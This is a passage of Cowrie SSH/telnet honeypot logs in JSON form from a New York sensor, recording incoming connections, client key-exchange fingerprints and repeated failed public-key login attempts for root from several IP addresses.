ast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:45.971246Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:e2:32:21:87:53:e0:20:d0:9c:ee:ad:52:4f:5d:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1j1KDrTrV2hd8BDzfd+pZW3++mwp1KpKBefyDs1+8YIUkvyDLz3TgJ2bBC2x3TE32NERZvD19UcpaOtE2yZHpHwxrDf75jrCSCkB2QkRBG8X28V77mkiAnnIzsePMekw3OlAu4Xx3vtDvQYawgrlDS3RJAsOC9hPyR5FHaZhZ0iS5bNkUzCsitCYq1hMj4ro6b1SQ6UULAdHiycab3iWLAy2gGVdhMmMud/htoZ6LcybSDxML2MTQejt9IpSRnTlD3SWbGWn4D+0bBRQBM2IVjw3J/FVz+ez9tHIeLrV2GHc0fzUaX5cC86eGcizKlFOfE4cipOoOXa6IEs3tdBLjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:e2:32:21:87:53:e0:20:d0:9c:ee:ad:52:4f:5d:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.326153Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:e2:32:21:87:53:e0:20:d0:9c:ee:ad:52:4f:5d:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1j1KDrTrV2hd8BDzfd+pZW3++mwp1KpKBefyDs1+8YIUkvyDLz3TgJ2bBC2x3TE32NERZvD19UcpaOtE2yZHpHwxrDf75jrCSCkB2QkRBG8X28V77mkiAnnIzsePMekw3OlAu4Xx3vtDvQYawgrlDS3RJAsOC9hPyR5FHaZhZ0iS5bNkUzCsitCYq1hMj4ro6b1SQ6UULAdHiycab3iWLAy2gGVdhMmMud/htoZ6LcybSDxML2MTQejt9IpSRnTlD3SWbGWn4D+0bBRQBM2IVjw3J/FVz+ez9tHIeLrV2GHc0fzUaX5cC86eGcizKlFOfE4cipOoOXa6IEs3tdBLjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.329870Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:7e:c6:8c:5e:08:d4:0b:2d:ec:64:02:93:2e:47:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArgOTxeUKNRGsAL3azo/za8KBcEcVJ6AEo/TXAW0z2ic04tCts5az51PHt39o/xzaNVlXYpgo+70xTP2LCWx7JOlAjncy+YO/WFBNwhdMJsOzveqag8s+XzfkMA/j7VKtk7z0Y80Kz8yZMQvid8ZoIGCFAWhPq4jUTMBZZkq2vSJEXxfgPT0EL34z3Xwc5PFx6nO3GhwD4QvhUWUOL+8bkUwao+u11RxZjxD94l0MWk7o95jTzaGxTZF0Gu4FyiMHeIQYPd/Nhe7M/ywt1ghgvaYSWdphSSBJW//ikZfLJSH7cXNOq+JJKdHzfLP8KwfONReMWC4VvNuYbCxx+axsSQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:7e:c6:8c:5e:08:d4:0b:2d:ec:64:02:93:2e:47:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.405477Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:7e:c6:8c:5e:08:d4:0b:2d:ec:64:02:93:2e:47:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArgOTxeUKNRGsAL3azo/za8KBcEcVJ6AEo/TXAW0z2ic04tCts5az51PHt39o/xzaNVlXYpgo+70xTP2LCWx7JOlAjncy+YO/WFBNwhdMJsOzveqag8s+XzfkMA/j7VKtk7z0Y80Kz8yZMQvid8ZoIGCFAWhPq4jUTMBZZkq2vSJEXxfgPT0EL34z3Xwc5PFx6nO3GhwD4QvhUWUOL+8bkUwao+u11RxZjxD94l0MWk7o95jTzaGxTZF0Gu4FyiMHeIQYPd/Nhe7M/ywt1ghgvaYSWdphSSBJW//ikZfLJSH7cXNOq+JJKdHzfLP8KwfONReMWC4VvNuYbCxx+axsSQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.408608Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:16:bf:8d:d3:50:a8:44:f6:26:d3:c1:10:14:94:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLurCzyTA5kjOrCHP1/0klueLdjed+QqltRs/1L7/Sh4kWmbfTYnMmnmIiuecofkb6swsnmO073NiWaWNdi35E0w37z3giReF3QQdXbVVIQIuLn/4ogqpBhVPOrdElCmVLLv4YnSU9BparOOVDsGOL5NPAc8Efw6wjLTK4Ok6vOpAgV90rF1MiYG5mgXyWYVoC6rKo3pcN8FBPw5FQwQeQq/hxGqLLXtOecwISOPf1IcCR75yT916UmT/D/wr3DG26G6TKgSflPbb/NggrUE+hMzWLyphD2oHCJ/D3kg5yiG4HzvBPBgWvaqGGWxe1hA6whIls/qKtZUZeM54vdED5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:16:bf:8d:d3:50:a8:44:f6:26:d3:c1:10:14:94:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.486985Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:16:bf:8d:d3:50:a8:44:f6:26:d3:c1:10:14:94:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLurCzyTA5kjOrCHP1/0klueLdjed+QqltRs/1L7/Sh4kWmbfTYnMmnmIiuecofkb6swsnmO073NiWaWNdi35E0w37z3giReF3QQdXbVVIQIuLn/4ogqpBhVPOrdElCmVLLv4YnSU9BparOOVDsGOL5NPAc8Efw6wjLTK4Ok6vOpAgV90rF1MiYG5mgXyWYVoC6rKo3pcN8FBPw5FQwQeQq/hxGqLLXtOecwISOPf1IcCR75yT916UmT/D/wr3DG26G6TKgSflPbb/NggrUE+hMzWLyphD2oHCJ/D3kg5yiG4HzvBPBgWvaqGGWxe1hA6whIls/qKtZUZeM54vdED5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.490697Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:9e:6b:87:22:e9:9d:59:29:d3:db:ad:72:58:f2:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxfJg/YYZlew5XAUPY1XIHhRT0xoCAQKJnKx3a6TTs0hsgCjknzsPc6jjTGaj2SGc8i0dz/GZZiON6C1kbcPyMJAuSWklveAYE4KgciMYhDpAqVw8hsdvlpTk57MIf7zDqSfQujpnLfvTD+2Sh2TAd9qEHST9VPQxFc144ahDDlKG2meTKZ2xNdeXS+wfHR/wlVz/gRFVOOQV0HZ1FpXneP9o8UA3NcENG1YtqSL/VufZiicwEvu7b7WVVrhYGHQ4SjXg3vw/3fi+2+K9x3X/8mQ4YEpFR7WYUaQpdwy2zIU3+zWFMWoDeqyuCxg/QLh79aOCfEMKxZB8RYHpfeJzH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:9e:6b:87:22:e9:9d:59:29:d3:db:ad:72:58:f2:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.566583Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:9e:6b:87:22:e9:9d:59:29:d3:db:ad:72:58:f2:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxfJg/YYZlew5XAUPY1XIHhRT0xoCAQKJnKx3a6TTs0hsgCjknzsPc6jjTGaj2SGc8i0dz/GZZiON6C1kbcPyMJAuSWklveAYE4KgciMYhDpAqVw8hsdvlpTk57MIf7zDqSfQujpnLfvTD+2Sh2TAd9qEHST9VPQxFc144ahDDlKG2meTKZ2xNdeXS+wfHR/wlVz/gRFVOOQV0HZ1FpXneP9o8UA3NcENG1YtqSL/VufZiicwEvu7b7WVVrhYGHQ4SjXg3vw/3fi+2+K9x3X/8mQ4YEpFR7WYUaQpdwy2zIU3+zWFMWoDeqyuCxg/QLh79aOCfEMKxZB8RYHpfeJzH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.571414Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:88:41:ce:cf:af:6f:b4:7d:f3:d2:83:32:de:5d:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgxEhgFG4qp0Izo73lsIHNoNxSY/6Id2H9Sj4L8ZR1hjv3cT+FLgt8KQZ9hDmeHpv1G6PzKpUHi+Du/hhwVmBY4qM4tm93HOSHV0ntFdhUR9PPu7dqzhBZDCsKgdEOotsdQPECvhHnLmoFHouKWxPbiYq43/9i1JQ07bh61G64qDN1NMEAL3vTrjFkdAToBhcosj/wgknp1yQpr8ku9ZpOk0WBFJn4cd++bc+D1oC7aGs0nj4+a7Jq4jhKOND/lxP0icnX4B48V0nxo+WTnkfSZKZYKe2RB/k+jjoky39Jox3HHRNTwmWZELXWHKOtr701E9+jL3cHpow2cLUp13td","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:88:41:ce:cf:af:6f:b4:7d:f3:d2:83:32:de:5d:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.649916Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:88:41:ce:cf:af:6f:b4:7d:f3:d2:83:32:de:5d:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgxEhgFG4qp0Izo73lsIHNoNxSY/6Id2H9Sj4L8ZR1hjv3cT+FLgt8KQZ9hDmeHpv1G6PzKpUHi+Du/hhwVmBY4qM4tm93HOSHV0ntFdhUR9PPu7dqzhBZDCsKgdEOotsdQPECvhHnLmoFHouKWxPbiYq43/9i1JQ07bh61G64qDN1NMEAL3vTrjFkdAToBhcosj/wgknp1yQpr8ku9ZpOk0WBFJn4cd++bc+D1oC7aGs0nj4+a7Jq4jhKOND/lxP0icnX4B48V0nxo+WTnkfSZKZYKe2RB/k+jjoky39Jox3HHRNTwmWZELXWHKOtr701E9+jL3cHpow2cLUp13td","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.653718Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:46.732543Z","src_ip":"204.197.163.47","session":"06c5ad971834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40190,"dst_ip":"10.17.0.5","dst_port":23,"session":"72bb700ff157","protocol":"telnet","message":"New connection: 152.42.224.71:40190 (10.17.0.5:23) [session: 72bb700ff157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:58:58.646187Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":35944,"dst_ip":"159.203.135.109","dst_port":22,"session":"0930fe6d6933","protocol":"ssh","message":"New connection: 139.19.117.129:35944 (159.203.135.109:22) [session: 0930fe6d6933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:30.208609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:30.214367Z","src_ip":"139.19.117.129","session":"0930fe6d6933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:30.306929Z","src_ip":"139.19.117.129","session":"0930fe6d6933","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:c5:23:02:d5:9a:b0:07:cc:57:ef:91:16:2e:81:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:c5:23:02:d5:9a:b0:07:cc:57:ef:91:16:2e:81:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:30.494591Z","src_ip":"139.19.117.129","session":"0930fe6d6933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:c5:23:02:d5:9a:b0:07:cc:57:ef:91:16:2e:81:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:30.503818Z","src_ip":"139.19.117.129","session":"0930fe6d6933","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:c5:23:02:d5:9a:b0:07:cc:57:ef:91:16:2e:81:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:c5:23:02:d5:9a:b0:07:cc:57:ef:91:16:2e:81:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:30.599877Z","src_ip":"139.19.117.129","session":"0930fe6d6933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:c5:23:02:d5:9a:b0:07:cc:57:ef:91:16:2e:81:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:30.604111Z","src_ip":"139.19.117.129","session":"0930fe6d6933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51336,"dst_ip":"10.17.0.5","dst_port":23,"session":"130cb4735f2b","protocol":"telnet","message":"New connection: 152.42.224.71:51336 (10.17.0.5:23) [session: 130cb4735f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:31.887127Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":35490,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca79a73261fc","protocol":"ssh","message":"New connection: 185.236.22.41:35490 (10.17.0.5:22) [session: ca79a73261fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:32.055959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:32.060754Z","src_ip":"185.236.22.41","session":"ca79a73261fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":54072,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc589d67a2d6","protocol":"ssh","message":"New connection: 43.134.184.253:54072 (10.17.0.5:22) [session: fc589d67a2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:32.100329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:32.103988Z","src_ip":"43.134.184.253","session":"fc589d67a2d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:32.181399Z","src_ip":"185.236.22.41","session":"ca79a73261fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr